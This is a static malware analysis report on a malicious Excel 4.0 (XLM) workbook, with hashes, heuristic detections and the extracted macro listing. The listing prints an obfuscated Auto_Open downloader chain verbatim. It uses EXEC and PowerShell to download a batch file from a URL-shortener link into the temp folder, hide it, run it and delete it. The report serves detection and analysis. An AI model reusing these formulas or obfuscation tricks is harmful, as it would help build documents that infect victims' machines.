Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8582b3a1c4c5b0ff…

MALICIOUS

Office (OLE)

68.0 KB Created: 2020-09-20 21:17:44 First seen: 2020-12-25
MD5: 8cc09948c6ab3f945d5be930025633d6 SHA-1: 433144bc02374a186ffcb91d3beaabcba0cd160d SHA-256: 8582b3a1c4c5b0ff58708f0679b5f710ed16a8aa437ccf224da8ac75429c32e1
162 Risk Score

Heuristics 5

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • XLM workbook contains URL shortener medium OLE_XLM_URL_SHORTENER
    Workbook contains an Excel 4.0 macro-sheet marker and visible URL-shortener targets in the OLE bytes. This is a common XLM downloader shape even when formula recovery is incomplete.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://cutt.ly/vhm9KWX Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1599 bytes
SHA-256: 2e30ab882fa714743aa43ccb696f3e3124b53567fc44a6a4e14d7de9e68cd9fc
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, reserved bits not zero: 0x10 very hidden -  Macro
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Feuil
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Macro!K583 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Macro,K583,EXEC(CHAR(99)&CHAR(109)&CHAR(100)&CHAR(32)&CHAR(47)&CHAR(99)&CHAR(32)&CHAR(112)&CHAR(111)&"wer^she"&CHAR(108)&CHAR(108)&CHAR(32)&" -w 1 stARt`-slE`Ep 3; Move-Item "pd"&CHAR(46)&"bat" -Destination "$e`nV:T`EMP""),""
'  Macro,K585,EXEC(CHAR(99)&CHAR(109)&CHAR(100)&CHAR(32)&CHAR(47)&CHAR(99)&CHAR(32)&CHAR(112)&CHAR(111)&"wer^she"&CHAR(108)&CHAR(108)&CHAR(32)&" -w 1 stARt`-slE`Ep 12; Remove-Item -Path pd"&CHAR(46)&"bat -Force"),""
'  Macro,K586,EXEC(CHAR(99)&CHAR(109)&CHAR(100)&CHAR(32)&CHAR(47)&CHAR(99)&CHAR(32)&CHAR(112)&CHAR(111)&"wer^she"&CHAR(108)&CHAR(108)&CHAR(32)&" -w 1 stARt`-slE`Ep 1; attrib +s +h pd"&CHAR(46)&"bat"),""
'  Macro,K587,EXEC(CHAR(99)&CHAR(109)&CHAR(100)&CHAR(32)&CHAR(47)&CHAR(99)&CHAR(32)&CHAR(112)&CHAR(111)&"wer^she"&CHAR(108)&CHAR(108)&CHAR(32)&" -w 1 stARt`-slE`Ep 7;cd "$e`nV:T`EMP; ./pd"&CHAR(46)&"bat""),""
'  Macro,K596,"EXEC(CHAR(99)&CHAR(109)&CHAR(100)&CHAR(32)&CHAR(47)&CHAR(99)&CHAR(32)&CHAR(112)&CHAR(111)&"wer^she"&CHAR(108)&CHAR(108)&CHAR(32)&" -w 1 (nEw-oB`jecT Net.WebcL`IENt).('Down'+'loadFile')."Invoke"('https://cutt.ly/vhm9KWX','pd"&CHAR(46)&"bat')")",""
'  Macro,K640,PAUSE(),""

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